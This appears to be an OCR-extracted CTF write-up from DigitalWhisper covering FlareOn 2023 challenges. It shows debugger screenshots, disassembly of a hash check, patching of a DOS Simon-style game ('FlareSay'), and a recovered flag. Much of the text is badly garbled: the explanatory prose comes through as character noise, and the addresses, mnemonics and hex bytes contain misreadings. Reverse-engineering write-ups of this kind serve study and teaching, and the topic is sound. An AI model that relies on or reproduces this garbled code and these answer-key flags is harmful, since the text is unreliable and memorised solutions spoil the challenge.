001E0030| 82 E6 C5 B1|F1 29 8F 5C|77 DE 6E 5F|F1 25 2B 70|.®Azf). \wbn_fs+p DO19FE0S
001EO040| 2B A3 18 EE|0C 35 7F SA|AC D8 Al 26|36 50 08 D3|+8.1...Z-0[&.P.0 DO19FEOC
001E0050|B6 CE OE E1|52 73 92 5A|FA D3 60 27 |F6 F4 AF &0|71.aRs.zid '66 DO19FE1L0
OD1EO0DGO | BF 63 C3 62(27 8D &F OE|05 98 92 63|F3 95 37 BO|.cEb Go1arEie
OD1EO07O|8C 15 AE 3E|84 8E FE 51|68 29 28 53|32 79 D8 47 ]| 5o1sce1 [|loos caoon v
< b3 < >
Command: | |Default ~
Paused |D.Im: 001E0000 - 001EQD00 (0x00000001 bytes) ‘TIIIE ‘Wasted Debugging: 0:08:33:37
” H kil
Y x 1.7 1  bufferit s « « 7 X 8] v
~ > V >
# where_am_i.exe - PID: DD4 - Thread: Main Thread 1E00 - x32dbg [Elevated] - m] >
File wiew Debug Trace Plugine Favourites Options Help  Apr 29 2019
o =0 vty tulle =S i# A B®
ﬁ CPU 9 Graph |t Log [ 1 Motes ® Breskpoints B8 Memory Map L) Call Stack =@ SEH 163 Seript | Symbols <2 Source ) References b
O0ID0SED| ~ E9 BGOADODD jmp 1D1078 ~ -
001D05C2 B1C6 39IFFZBES add esi,EB2EFF33 LREE (D
001D05C8 BBOCZE mov ecx,dword ptr ds:[esi+ebp] 2 v
0D1DOSCR S5E pop esi. EQ; gggggjgg L=
001D05CC 51 push ecx ECX 00000280 L'’
E8 F2230000 call 1D29C5 - =
83C4 0C add esp,c EDX 00000000
001D05D5| ~ E9 E7300000 jmp 1D36C1 EEF  OD13FDFC
001D0SDA 81F0 G6ZDCEZ53 Xor eax,53EZDC6E2 ESE  O019FDEC
|| o01DOSED B1F0 1ADODCEF xor eax,BFDCDOLA ESI 00000000
001D0SE6 B1ES CAAFTEAC sub eax,ACTEAFCA EDI  022F1CO5
001D0SEC 81F0 DID492FC XOor eax,FC22D4D3
001D0SF2 B1C0O 910258F4 add eax,F4530291 EIP  001D0SDZ
e|[001DOSFE( v EB 18 jmp 1D0612
#|( DO1DOSFA SF pop edi EELAGS 00000255
#|( D01DOSFE 56 push esi ZE1 PE 1 AF 1
#|[ D01DOSFC BE FS5G617B73 mov esi,apphelp.7? 737H o o DF O
001D0601 B1F6 FS50AT4B xor esi,4BATS0FS QE £
00100607 BICE 42B63AA2 add esi,A?3a8642 CE1 TFO IF1
001D0E0D| v E9 40480000 jmp 1D4E5Z
00100612 B1F0 CIFDF478 Xor eax,7BF4FDCL LastError O000000EA (ERROR_MORE_DATA)
001D0618| +~ EB 2C jmp 1D0646 Laststatus 80000005 (STATUS_BUFFER_OVERF
001D061A 57 push edi
001D0G1E BF 6687BZ16 mov edi,lE6B2B8766 ——— T
. 20 & 6C xor edi 1 F
. == - - Sremee 5 | efalt (strcal) ~ [5_[2]0] unocked
1: [esp+4] 00000280
esp=00139FDEC Z: [esp+B] DOGFEBCS
C N 3: [esp+C] DOGFEBCS
4: [esp+10] D0O19FE2S
001D05D2
3 D0LE0DDD
Wopump1  WWDump2  W4Dump3  @Dump4  WWoumps @ watch1  Ix=llocals A W OTSrDED | 00000280
0D19FDF4 | DOGFEBCE
ASCII A pd
61 6D[20 49 3F 20|49 27 6D 20|Mhere am I7 I' ggigiggg ggigigﬁg
EE 20163 73 62 65 CEZ :CD 2'2 g; Tost in cyber, 0013FEQO return to 001DE9E4 from 001D19F0
6 65 20 62 69|A place where O0019FE04
20 63 6F 6E|Ts and bytes con O019FE0S
61 6B 65 20|spire,..To take O0019FEOC
GE 65 79 20|me on a journey DO19FE1L0
68 65 72 65|far,..From where OD19FEL4
a1 ERg e BERE IO SCEEY ¥ [ oo1oress | oo1E0000 o
< > < >
Command: | |Defau|t @
| Paused  |Dump: 001E0000 -> D01E0DOD (0x00000001 bytes) | Time Wasted Debugging: 0:08:33:51
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Where am I? I'm lost in cyber,

A place where bits and bytes conspire,
To take me on a journey far,

From where | am to where you are.

The world is vast and full of wonder,

But here | am, just lost in thunder,

Of data streams and endless code,

A place where ones and z  eroes explode.

But still | search, for what | seek,

A place where answers come to meet,
My questions deep and full of thought,

A place where knowledge can be sought.

And then | see, a light so bright,

It shines so true, it's quite a sight,

Oh my FLARE, t here you are, WheR3_4m_|_frOm_OTF@flare -on.com
My guiding star, my shining star.

“buffert T I X ¢ s oL

Y x. sy | s

WheR3_4m_|_from_OTF@flaxan.com

FlareOn 2023
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FlareSayrc ~ ¥

2dzQNBE R2Ay3 3ANBIG OKFYLH ¢KAa OKIffSy3aSs

Says. The coohing about this one though is it will make you give up, and maybe take thatisales

220 I FUGSNIIfftd LGQA o0SUGUSNI F2NJ) SOSNEO2RE

v T xS Lo x g X XS 4 . 1 BlareSay.exe X X & 4 L Sy X

tarts 1 « <P X ss@ g 1" d Y XIDAPKGE . X X < S

buffer_pointer = ek_get_buffer_pointer(1li64);
hash_value = @;

1 pointer
hash_iterati

+ __ROL4A_ (
(v8 + __ROL4_ ({v7 + _ ROL4_ (hash_value, 7))} ~ hash_value, 7)) ~ (v7 + __ROL4_ (hash_value, 7)) * hash_value,
7)) ~ (vB + __ROL4_ ((v7 + _ ROL4_ (hash_value, 7)) * hash_value, 7))} ~ (v7 + _ ROL4_ (hash_value, 7)) ~ hash_value;
hash_value = (*(block pointer - 3} + _ ROL4_ (v9, 7}) ™~ v3;
--hash_iterations;
b
while ( hash_iterations };
if ( hash_value == @x31D9F5FF )
1

V1@

sub_488E95();

vil = ek_get buffer_pointer(2i64);
sub_4@987@(buffer_pointer, vil, v1a);
v12 = ek_get buffer_pointer(2i64);
vl3 = ek_get buffer_pointer(3i64);
sub_489688 (&1 v1l3);
sub_48968@(& 15, v12);

v19 = 48i64;

15 = &v16;
o = BxFFFFFFFFi6g;
oc_4@0003) (Bx5eRRRR18i64, 4i64, 3i64, Rv17, @, &u21);

w2
(1
return 8i64;

S .1« HL,R, 3 117 4% 1 X s x get buffer pointers 4 « « 7 X% 4 7
¥o ! xJs s _hufferm, 1 * .

il i

3 __inte4 _ usercall ek_get buffer_pointerf<rax>(__int64 al@i<rcx>)
ek_get_buffer_pointer proc near

5 FUNCTION CHUNK AT BBEBE SIZE BYTES
; FUNCTION CHUNK AT @BE9B SIZE BYTES
; FUNCTION CHUNK AT @a80888880488EF4 SIZE @8GB8815 BYTES

cmp rex, 1
jz shart case_1
I
L
FEE]
emp rox, 2 ; START OF FUNCTION CHUNK FOR ek _get buffer pointer
jz short case_2

ek_get_rip_and_return
; END OF FUNCTION CHUNK FOR ek_get_buffer_pointer

¥
i et = il i =1
cmp rex, 3 ; START OF FUNCTION CHUNK FOR ek_get_buffer_pointer
jz case_3
case_2
call ek_get_rip_and_return
L]
il it =1
xor rax, rax ; START OF FUNCTION CHUNK FOR ek_get_buffer_pointer
retn

ek_get_rip_and_return

FlareOn 2023
www.DigitalWhisper.co.il
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et rip_and returr 1 « <" X {4ile {5 X {s

ek_get rip and return proc near

pop rax
retn

Xoxopo o xXs s3] X, 1w osisci {7 70 s_ get rip_and_returr 4 « < 7 xS
s v i dwsT s L x o L ©x Ixret] < *gEtfrip_and_returm S « 1 ~4«.S1 «Sh' XH
« « 5% 4 et buffer_pointers 1 . « "buffest . _ x geétl buffer_pointersx " s . <« 7 X
YWinningh: ¢ x .~ <O xg8 .~ .sx X ¢ 7 Xpufferrt L | _dclsd s 4 o THBG s

case_3: ; CODE XREF: ek_get buffer_ pointer+1@7j
call ek_get_rip and_return

text "UTF-16LE", 'Winning',®
3 END OF FUNCTION CHUNK FOR ek_get buffer_pointer

1. v xx8 | .. & X xpyfferit md ~ +s_get_buffer_pointerr s « {s. < stdrts {1 « « " x X
Y, Xl Me! xy X

case_1: ; CODE XREF: ek_get buffer_ pointer+4tj
call ek_get rip and_return
; END OF FUNCTION CHUNK FOR ek _get huffer pointer

byte 4@BESS db 18h dup(®)

¥ <« ~ OSB1DOF5FF x *X. i ® x x s ¢ § , | shashx s _ S ¥. Jstarts 4 « « ” x _ s
T siies Ay X i@ gl x40 44547 ISR | s 4w T s sols

v o~ ~ v v >

CX s b, U XNs s T lpxx s x o) s shasht _r 1« X .
1 AP shibflowrt 1 1 ¢ «hx x {hasht . s « x _1s.skeroflagt - s " ¥ % * {|
YVinning: ~ ¢ X <J2F X +1 | «+1 _MessageBox

W FlareSay.exe - PID: 2

Module: flaresay.exe - Thread: Main Thread B2

Elevated] — O X

D g ce N Help  Apr 29 2019
_Eﬁﬁém?aw@@ﬂlyr@&fx# A BB @
B cru & Graph | Log [ Motes ® Breakpoints  # MemoryMap )/ Call Stack =7 SEH lo| seript ] symbols <> source - References "9 Thizalg

~-0F85 B4000000 jne flaresay. 409066 ~| Hide FPU
0000000000408FBZ 48:899C24 88000000 | moy guord ptr ss:[frsp+8s],rbx = Ao |
¢ | 00000000DD408FBA E£3 DEF, call flaresav. 403F95
e | oooooo0OD40SFEF B3 02 % Sgggggggggg; IR D e R A T
e | oooooooooo40sFCs 3EDS W'""'"g | araaeET
e | oooooooooo4osFCs ES 85F
e | ooooooooo0408FCE 48: 8ED [oo00000000
e || 00DDDD0D00D40SFCE 44:8BC {o00000000000
o [ oooooooooonanarFol 48: 8BC o EEIEOEEE— AE TR BEEMERIEET L 1000000000000
e | 0ooo0DODOD40SFDA ES 97 L G }000000000000
e | 0o000DODOD408FDS B3 0z BE A TRTEBRRAAR
e | 0ooo0DODOD40SFDE ES EDF 000000408FAC Tlaresay. 0000000000408FAC
e | oooooooooo40sFES B3 03
e | oooooooooo40sFES 48: 8ED - < 10000000000003D1
e | oooooooooo40sFER ES GOF Ela
e | oooooooo00408FFD 481 8ED) o &
e | ooooo00000408FF3 481 8D == - - cToeeT
e | ooooooooooansrFe EE 03060000 €all tlaresay. 409600 EESESNgELs: IF 1
e | oooooooo00408FFD 481 8ED3 mov rdx,rbx
# | oooooooooo409000 48:8D4C24 30 lea rcx,qword ptr ss:[Jrsp+2of LastError 00000002 (ERROR_FILE_NOT_FOUND)
e | oooooooocoao0900s ES FEO50000 €all fTlaresay.409600 1|
® || D00000000040900A 45:8D4424 30 lea rax,qword ptr ss:@rsp+3ol
|| nooooooooD40900F 48:C74424 60 30000000 mov qword ptr ss:[frsp+60],30 De&u|t(¥64ﬁstm‘ﬂ < E“:‘ Unlocked
e | oooooooooo40901s8 481894424 50 mov gword ptr ss:ffrsp+sofl,rax Fcx 0000000000000000
e | 000000000040901D 4C18D4C24 50 lea ra,gword ptr ss:frsp+500 rdx 0000000000000000
& (| 0000000000409022 45:8D4424 40 lea rax,qword ptr ss:Ersp+400 rs 0000000000000000
* | 2 P o o > : r9 0000000000408E97 flaresay.0000000000408E97
]
Woump1  @Hpump2  @4oump3  @Woump4  Woumps @ watch1  ellocals 7 sdult [T 3 DDDUDODODDDDDU%? ~
000000000008FECO | 0000000000000003
i Ees Hex AL | booooooooosFEC 5 | DODDDDOOOOOSFFOD
00007FFF11CC1000|€E CC CC CC|CC CC CC CC |48 89 5C 24|08 33 DB 46| LIIIIIIIH. \§.30H e e
T | oD a2 P At e PEPPIE 4s 2 5|32 olEH 00000000D00SFED S | 00000DO0000SFF30
A e[ i e Al R aE R = EE 000000000008FEED | 00D0DD000068006E | kernelbase. 000000000
A 5 e o s T 2 R R s S 000000000008FEES | 000D00D0DD0408EAD | return to flaresay.o
el iR S B ah I e | 000000000008FEFO | 000000000010000E | apphelp. 000000000010
ettt L e e B b ol B e [ 00000000000SFEF S | 0DDOODODDO40SEFS | return to flaresay.D
ettt e b o5 e 5 ) R Y e e 000000000008FFO0 | 0ODODDODOOOSFEED | L"Fh™
e o B o (03 (a3 o (e o 2 e e [ 000000000008FFOS | 0OD0DDODOOOSFEFD
e e L e e e e S R 1 o 000000000008FF 10 | 0000000000000030
e A e S 5y 000000000008FF 18 | 00DDDDODFEFFFFFF
v || 2000D000D00SFEZ0 | 00000D0000000000 v
O0D0D7FFFLICCLOBO| 48 89 44 24|28 48 89 44[24 30 ES 01|F2 H.D$CH. DSUE - annnnnnnnnnass2a | annnnnnnnnaz?zeza l retirn ta kernalz? o
< > <
Command: | ‘ Default ~
| Running  [INT3 breakpaint at faresay. H0BFAC 40BFAC)! |Time Wasted Debugging: 1:01:48:35
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A22017 Dbl € X » TS Y X Xpu XS LT vsd sXxpw g L ) x s o {s . a
©®OS . . . § . BLASTERMNablers » X« 55 1 ¥ ¥ x w* { H55P6

I~ _exécutablel + ¥ " . executablgl r ¥s € § 4 L Siixs 4 LTSI {s" ysE %

Getrortmodernt X X L A4 X XT3 v 1 » %« { . DDS L s s

A >

L% X VAL DDSBOX X 1L X X4 oS 4 FX X pas L4 IS Do d

~ o

S lox &owsx 1L x|~ 8L

~

s xS S ASILACS 4w A X X7 Je T v L X

Y 4 Y X Kiaes f LTSIE X

u=| FlareSay.exe 11/8/2023 3:42 PM Application 9 KB

E DO5Box 0.74-3, Cpu speed: 3000 cycles, Frameskip 0, Program: DOSBOX — >

Welcome to DOSBox wO.74-3

For a short introduction for new users type: INTRO
For supported shell commands type: HELP

To adjust the emulated CPU speed, use cirl-F11 and cirl-F12.
To activate the keymapper ctrl-F1.
For more information read the README file in the DOSBox directory.

HAVE FUN?
The DOSBox Team http: - uwnas.dosbox.com

7 :5>3ET BLASTER=AZ20 I7 D1 HS Th

Z:wcmount C: C:sFlareSay
Drive C is mounted as local directory C:wFlareSay+

AL

C :»\>FLARESAY . EXE_

FlareOn 2023
www.DigitalWhisper.co.il
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https://dos.fandom.com/wiki/BLASTER_Variable
https://en.wikipedia.org/wiki/DOS
https://www.dosbox.com/

Y X5 x o PTse s X xiasg 4 04,

E DO5Box 0,74-3, Cpu speed: 3000 cycles, Frameskip 0, Program: FLARESAY - >

100
0140
oo 1dK
poo1dR
pooo 1dK
00000 1]
0000000
DO000000A]
X001 oooookN
koooooookN
koooooookN
kooooo 1oON
[Xxnooooool
<> 100001006
KKKKENEd 1oooo 100
looldKWOd loooo 140G
p00xKWMG0 loooo 1dK
oxKLA 0011111 14K
ENMMTETTRKO000000%]

Sl
tlllelalfalfelfallelle
Sl
Sl

E DOSBox 0.74-3, Cpu speed: 3000 cycles, Frameskip 0, Program: FLARESAY — *

1o

01d6E

oo 1dK
poo1dK

pooo 1dK
poooo 1 =]
0000000
000000003
0o ] oooookN

lelcome to Flare Says, where the points
don’t matter. Use the arrow keys to play
back the sequence, mess up and you lose!?

FlareOn 2023
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X1 _ " %xuHy BEntegr 4~ 1 %1

@ DO5Box 0.74-3, Cpu speed: 3000 cycles, Frameskip 0, Program: FLARESAY — ot

Flare =ays

Pl e Tl XD X e DA e s e IRE XX X] X T X X ]S % x|

~ —_— > ~ ~

X R e X XL X ISE LT 1§ ] kS X STHLE . XTI X @

1 bNever Gonna Give You Upd “sY 7 3 %" _ Ssq¢ 4 M Jss* X 1,8 & o

¥ I xisys. dg X "

E DO5Box 0.74-3, Cpu speed: 3000 cycles, Frarmeskip 0, Prograrm: FLARESAY — et

Score: 229
Lewvel: 4

Never Give Upttt

N TN S D I N A R 2 S I I > R I A PE Sl I RO

~ v~ ~ ~ v ~

ot oe TS xS L 1T T s AT ese T e b

~ v ~ A< a v A » v v

X X .S Do N ] P ¥ ARXES bl v A X ¥ PY T IS

° v o~ o

.MSDOS executable: x . 1 X MDARrg _ *x<s DOS s , "ss, ],

>

FlareOn 2023
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https://en.wikipedia.org/wiki/Simon_(game)
https://en.wikipedia.org/wiki/Simon_(game)
https://en.wikipedia.org/wiki/Simon_(game)
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11

“ Load a new file

Load file C:\FlareSay'\FlareSay.exe as

Portable executable for AMDE4 (PE) [pe.dll]
MS-DOS executable (EXE) [dos.dll]
Binary file

Processor type

MetaPC (disassemble all opcodes) [metapc]

Analysis
Loading segment |[0x00001000
Enabled
Loading offset  |0x00000000
Options

Loading options

Fill segment gaps
Create segments

Create FLAT group

Load as code segment

Indicator enabled

= Set

Kernel options 1| Kernel options 2

Load resources
Rename DLL entries
Manual load

Create imports segment

Processor options

Cancel

Help

mhainhs 1 « « ¥ X {w-s " xF {1 0OxLQOO0k * x

S L4114 6x10411 * x

SN

Iggme looys 4 « « & X {s X § { .

Yame loop 1% x| %00 7 | X@ « ]

» J.x_Entry Pointt
«~ 0SBLQ030: * x

J X

LSS « 4 ¥x s

pusha
call

ek_game_loop proc near

ek_decrypt_strings_and_print_welcome_message

call ek_check_passed_level 18
call ek_print_level and_score
call ek_add_new_random_color
call ek _display colors_so_far
call ek_player_turn

cmp ax, @

jz short incorrect_move

I

cmp ax, 2

jz short loc_18415| |incorrect_move:
call ek_scroll _page_up
call ek_print_level_and_score
mov si, offset str_Never_Give_Up
mov cx, word_l@A3B
mov dx, word_l1@A39
call ek_decrypt_string ; si = string, dx = key, cx = length
xor ax, ax
mov bx, offset str_Never_Give_Up
xor X, X
xor dx, dx
inc dx
call ek_show_game_end_screen
mov dx, seg segd@s
mov ax, @
call sub_181FC
popa
retn
ek_game_loop endp

inc
dec
jnz

Y
[l e 5=

current_level
levels_left
short loc_1@415

pPT
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°

x 4 . Jleels leftd « X s s | x| o A

1, 4ws

a A<

TN

~

Foxs¥igqs |

s gSxs, ¢ ]s

« 1

-]

@ ox XXX ‘.‘vxl,,'|'|”VA >d(\3(;[)”'_)'[_5;'[rir]gs NN | ': . x1] s s _ %
C TSl xor1x M0 XIEX D4 OXE PRy, 4%

XL WX wsr ]

IR

X1 %

sl AW S e xS, € ] s

LR F x4 Tsal g

210, 1+ 4 17 Ak 1w A

ss-|~‘ « 45X gfxss, €] s

-
LA

471X _flowre

1.
~

A

18

X
7L

*

XI—J'I”” )q 'S 1 1‘1‘

Technologic

L ACHNIEE B3 SR UL R

Yo, s
1

® !

RN RN

LX X XOsxX s o LS XL 7O ™ gBld _new_random_colot 1« «
Al s

X, 1%

* display_colors_so_far 1 « «

S XX

T o HE o

N

¢ s x lphyer_tuns 4 . <7

L xxL,,sxeAx?[ « ] ~SS1~\ i «

_MHY . s « | Xdqgame loops 1 « «

X% Xpi X X ks L X S0 oS

4.|:,X"'|T[§|_ZXX'|ALL)$:L)ﬁ.L:S

~ > v

® |

Ylayer_turns 4 .

ek_player_turn proc near

pusha

xor bx, bx

xor dx, dx

mov cx, current_level

mov sum_player_keyboard_inputs, @

I —

loc_l@5Fe:
mov dl, selected_colors[bx]
call ek_get player keyboard input
call ek_flash_color_and_sound
cmp al, 72h ; 'r'
jz short display_colors_again
(il e =1 il e =]
cmp ah, dl
jnz short wrong_color) |display_colors_again:
call sub_1868E
popa
mov eax, 2

ek_player_turn endp

¥
FEE
sum_player_keyboard_inputs, dx
bx wrong_color:
cx, bx popa
short loc_1@5F@ xor eax, eax
| | retn

P

all colors correct

mov dx, sum_player_keyboard_inputs
mov player_score, dx

mov ax, offset result buffer
mov bx, dx

call ek_modify_result_buffer
push o

mov di, offset result_buffer
mov si, ax

mov cx, 8

rep movsw

pop o

popa

mov eax, 1

retn

w

py
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1., s+« 15 ’L~S-|-| N B R YO I s s.s v d 4 S aS . LSX”L~S-|-| L .

¢ s« Tsfwosdlected colord » 0 4T I X Pl x X s x4 T L] S S

nq)":S‘-S"'I%-H‘“,:X'Islg.‘-LXLS

R I o N U R T T X B B I Y O R I IL NI TR B L NI L

~ v o~ < v

* Do ls"Gs 7 1 s oL X Xxs &pn_player_keyboard_inputs _ *s " ¢ 4 x g« 100 Lo~ ¥
Pewe f_ w1 $a Irx e x5 1 18 scorgt ~ _ * plyer score+ _ *s " ©
|_~x_| "ALV,,:XJAI‘AX:SV‘|-X<|-XSV‘I<Z|'1vx’scﬁl Ax”'|x|_n_|~A xl—“lLv -|~\ .

s ~ 4 W .« Tesult_buffer

D% [ 47s{ Xgame_loops 1 « « ¥ X paSic block r 4 A ] Lk XOOXMHY T - L

YlareSay.exe * x I xs result_buffer

[l s =

dec current_level

call ek_scroll_page_up

call ek_print_level_and_score

mow dx, offset result_buffer

call ek_write_to_file

mow si, offset byte_104B8

mov cx, word_184D7

mow dx, word_184D5

call ek_decrypt_string ; si = string, dx = key, cx = length
mov =i, offset byte_104D9

mow cx, word_184FB

mow dx, word_184F9

call ek_decrypt_string ; si = string, dx = key, cx = length
mowv si, offset byte_le4FD

mow cx, word_18518

mov dx, word_168516

call ek_decrypt_string ; si = string, dx = key, cx = length
mow ax, offset byte_1084B8

mov bx, offset byte_1@4D9

mowv cx, offset byte_le4FD

xor dx, dx

inc dx

call ek_show_game_end_screen

mow dx, seg seg@éd

mov ax, @

call sub_1@1FC

popa

retn

He o X X ot w2 XM HyX X Xiw %] % Xpatch: x|« xisx {7 I 7% X8 s
T v S L ssx 4 i diede 4 I L%l 4 N1 ss o8 X oD X

T LSS L M 120 x dxsiied " L T @ x L5 4 144 0X9EBL _ offset

Y XS xopy et X X X o ] ] A

E DOSBox 0.74-3, Cpu speed: 3000 cycles, Frameskip 0, Program: FLARES~1 — >

Score: 147
Lewel: 2

THANK YOU MARIO?

BUT OUR PRINCESS IS IN
ANOTHER CASTLE?!
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offsetrt + 1

I % i1se 0% 44347 IBntes. « L S

X s X « X801 x
. i

v v o~ o v o

141~

Xoxsoas xoxp T v " L FlareSay.exe

¥ " 1 Ox8E85

&) C:\FlareSay\FlareSay_original.exe ==
Offset(nh) 00 Ol 02 03 04 05 06 07 O 0% OA OB OC 0D OFE OF Decoded text "
0000SEED OF 24 BE 00 00
00008ETO  CC CC CC CC CC
00008ES0 ES ES FF FF
00008ESD 8 B . ....T...ReEyyy
OQ00SERD 39 2% CF €D A8 EO0 1C EE AR 6F B3 L4 E1 9)Im &, &*n milx"”
0O00O0SEBO 14 9C 59 49 7F F3 BA DC 8F DE 79 Cl 2E e¥I.6°U.gyh. . B v
= A
¥ C:\FlareSay\FlareSay.exe E @
Offset(h) 00 Ol 02 03 04 O5 06 07 08 09 OR OB OC 0D OF OF Decoded text ~
0000BEE0 OF 24 SE 00 00 00 48 31 CO C3 58 C3 00 00 00 00 H1AZXE.
00008BE70 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC iifiiii
00008ES0
0000BESD B LE.B.|.T...ReEgyy
00008ERD E0 1C EE BA €E B3 L4 E1 BC 72 98 9)Im a.&%n malr”
00008EBO F3 BA DC 8F D2 79 C1 2E OE DF 22 .eYI.&°U.@vA..B*
Pl U e s XA IsX L g s Do Xss ywE IxB4xexeatablent T | ! x| X xsSaws {7

L

J

Yhasht - «x {1
-ﬂ- FlareSay.exe - PID: 2660 - Module: flaresay.exe - Thread: Main Thread 124C - x64dbg [Elevated] — O e
Fle WView Debug Trace Plugine Favourites Options Help Apr 29 2019
SO E =0 Y 9§ Tl E2efi# BB
B cru ? Graph | 4 Log [ Motes #® Breakpoints 8 Memory Map [ cal stadk =% sEH lo| Seript %] symbols <> Sourced P
®|[D00D00D0D0408F40 40157 push rdi o :
|| DOODDDODDO4DEBF42Z 481 83EC 70 sub rsp,70 HICERRED
|| DOODDDODDO4DSF46 B9 01000000 mov_ecx,l RAX  0000000000000014
|| DOODODODDD4DSF4E E8 OOFFFFFF €all flaresay.408E50
- REX  0000000000000000
|| DOODODODDO4DSFS0 33c9 XOor ecx,ecx ;
e || coDODDOODO40BFS 2 18: 8BF8 mov rdi,rax B
|| oooooooooo408FSS 4C:8D48 02 lea r3,qword ptr ds:[rax+z] L I T
¢ || 0000D0ODOOOD408F52 44:8D51 04 lea riod,qword ptr ds:[rcx+4] REF  0000000000000000
® | D00DD00D00408F5D OF1FD0 nop dword ptr ds:[rax],eax RSP 000000000008FEBO
0000000000408F 60 41:0FBE51 FE movzx edx,byte ptr dsi[r9-z] RSI  0000000000000000
0000000000408F 65 B mov r8d,ecx RDI  0000000000408ESS flares
0000000000408F 68 movzx eax,byte ptr ds:[ro-1]
0000000000408F 6D lea r9,qword ptr ds:[r3+4] RS 000000000000005 0 pr
0000000000408F71 rol rad,7 R9 0000000000408EST SFeres
0000000000408F75 add ra&d,edx R10  0DOCOODOCOODO000
00000D00D0408FT 8 xor ecx,rad
. R11  0000000000000000
0000000000408F7E mov edx,ecx
0000000000408F7D rol edx,7 R1z  0000000000000000
0000000000408F 80 add edx,eax R13  0000000000000000
0000000000408F 82 movzx eax,byte ptr ds:[r9-4] R14  0000000000000000
0000000000408F 87 xor ecx,edx R15 0000000000000000
0000000000408F 83 mov edx,ecx
0000000000408F 8B cicz o7 rol edx,7 RIP  0000000000408FAC flares
0000000000408F 8E 03D0 add edx,eax
0000000000408F 90 41:0FBG41 FD movzx eax,byte ptr ds:[r3-3] RFLAGS  0000000000000391
0000000000408F 95 33CA xor ecx,edx ZEO PF O AF 1
0000000000408F 97 8BED1 mov edx,ecx OF 0 SF 1 DF O
0000000000408F 99 cicz o7 rol edx,7 ME 5 o 5 3 oo
0000000000408F 9C 0300 add edx,eax
0000000000408F 9E 33cA xor ecx,edx ) I
0000000000408FAD 491 83EA 01 sub rio,1 i
0000000000408FA4| ~ 75 BA ine flaresay.408F60
0000000000408FAG 81F9 FFF5D931 tmp ecx,31D9F5FF Default (x64 fastcall) - [:::][]U”hd@d
~-DF85 B4000000 jnelflaresay. 409066 1: rcx 000DDDDDDAL40013
0000000000408FB2 48:899C24 88000000 |mov gword ptr ss:[rsp+3s],rbx 2: rdx 000000000DACDOOL4
0000000000408FBA E8 DGFEFFFF €all flaresay.408E35 3: r& 0000000000000050
g - 4: r9 0000000000408E97 Tlaresay.ool]
|
0000000000000000
Wdbump1l  @pump2  @eoump3  @YDump4 @ Dumps @ watch1  Ix=]Locals 0000000000000000 | T
R ] ©00000000008FECO | 000DDD0D0000000D
D0DO0D0ODO0408ESS [ B0, 00 00 00|00 00 00 00|00 00 00 D0]50 HHHHHHHHHHH?FEC° D OO0 DO,
SFEDO| 0000000000000000
000000D0000408ESS B8 54 00 00|00 C3 E8 CA|FF FF FF 33|29 e
° 0000000000DSFEDE | 0000000000000000
000000D0000408EAS | E0 1C EE AA|G6E B3 A4 E1|BC 72 98 14|9C -
s 0000000000DSFEED | D000000000000000
0000000000408EES | F3 BA DC 8F|DB 79 C1 2E|OE DF 2A F8|CS e
5 Fal¢ 000000000DDSFEEE | 0000000000000000
00000D0000408ECS |EF 10 01 OB|CA A6 F2 79|01 9A 98 7E|71 -
| 52 & o ohlliee o e ollEh o B | 000000000DDSFEFD | 0000000000000000
DO0DD000DD40SEDS | A6 9D L3 7B|AS 1D BD I7]B3 DA 88 E5|DP ¥ || poDOOOODOOOSFEFSE | DO0DODOODOD0000D | W
< < >
Command: | | Default  ~
Paused |]NT"' i at fl ¥ 40BFAC (] 40BFAC)! Time Wasted Debugging: 1:01:53:02
y =
cnh H e « XT5A x { [ ¥
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o XX € L X DR LI s F T X p T 5S] oSS w4 X X KT LT X x| ]

Jx

~

1L X

~

v s FoXx

LR Jx 44 XX § LB % xpatch: x _ «

14~ k@ «x {hasht _+«

~ A

1SS m -

a

XX s ST X e LT XX e Y LT % b o

-
J

A

¥4 H

L+ ™M XX Ky $
Kohx g S

~ o~

LRI T _Ast s X w1

FLX - NI Y x X

Yatchrg » 1 <X g sk oS psqx X s

~

i e =

ek_player_turn proc near

pusha

xor bx, bx

wor dx, dx

mav cx, current_lewvel

mowv sum_player_keyboard_inputs, @

I

loc_1@5F@:
mov dl, selected_colors[bx]
jmp short loc_l@e682

loc_l1@682:

add sum_player_keyboard_inputs, dx
inc bx

cmp cx, bx

jnz short loc_185F@

il e =]

all colors correct

mowv dx, sum_player keyboard_inputs
mov player_score, dx

mov ax, offset result_buffer
mov bx, dx

call ek_modify _result_buffer
push [

mav di, offset result_buffer
mav =i, ax

mow cx, 8

rep movsw

pop cx

popa

mov eax, 1

retn

ek_player_turn endp

FlareOn 2023
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Technologic

E DOSBox 0.74-3, Cpu speed: 3000 cycles, Frameskip 0, Program: FLARESAY

THANK YOU MARIO?!
BUT OUR PRINCESS IS IN
ANOTHER CASTLE?

Score: 9720
Level: 128

o FlareSay.exe - PID: ACC - Module: flaresay.exe - Thread: Main Thread 22AC - x64dbg [Elevated] — m] *
File View Debug Trace Plugins Favourites Options Help Apr 25 2019
DE 90l ¥a9§ tali2aoffi# s HS
& cru @ Graph | Log |1 Motes *® Breakpoints 8 Memory Map L)V Call Stack S3 SEH Ls| Seript & symbals <> source! P
¢|[0000000000408F40 40:57 push rdi A B
. 2 48:83EC 7O sub rsp,70 (TEE FFH
. BR01 00000 OVEE ICHE RAX  0000000000000013
. E8 0OFFFFFF call flaresay.408E50 REX 000000000000000
L ] 33C9 X0or ecx,ecx - -
. ig:38F3 e RCX  00000D003AESCESET
= 4C:8D48 02 Tea ra,qword ptr ds:[r RDX  00000DDOOOOESLEED
. 44:8D51 04 lea riod,qword ptr d REP  0D00000000000000
® OF1FO0 10p dword ptr ds:[ra RSP 00000D00000SFEBD
r--3® 41:0FB651 FE movzx edx,byte ptr d ra-z R5I 0000000000000000
. 44:8BC1 mov r&d,ecx RDI  0O0000D000040SESS flares
. 41:0FBE41 FF movZx eax,byte ptr ds:[r9-1]
. 4D:8D43 04 Tea ro,qword ptr ds:[r9+4] RS 000000005A8818C3
. 4l:clco 07 rol rad, R3 0000000000408E97 flares
= d4103c2 add “'f‘-ef_'é R10  000000D0D0000000
N sEma 2 Saens R11  DO00000000000000
i = c1c2 07 rol edx’ 7 R1Z  000000D0000000000
= 0300 add =dx, eax R13  0000000000000000
. 41:0FBE41 FC movzx eax,byte ptr ds:[ro-4] R14  0O0C0DOOOOOD000O
. 33CA xor ecx,edx R15  0000000000000000
. 8BD1 mov edx,ecx
. cicz o7 rol edx,7? RIP  0000000000408FAC flares
. 03D0 add edx,eax _ -
. 41:0FB641 FDi MOWZ X éaxabyte ptr ds:[r9-3] RFLAGS 0000000000000314
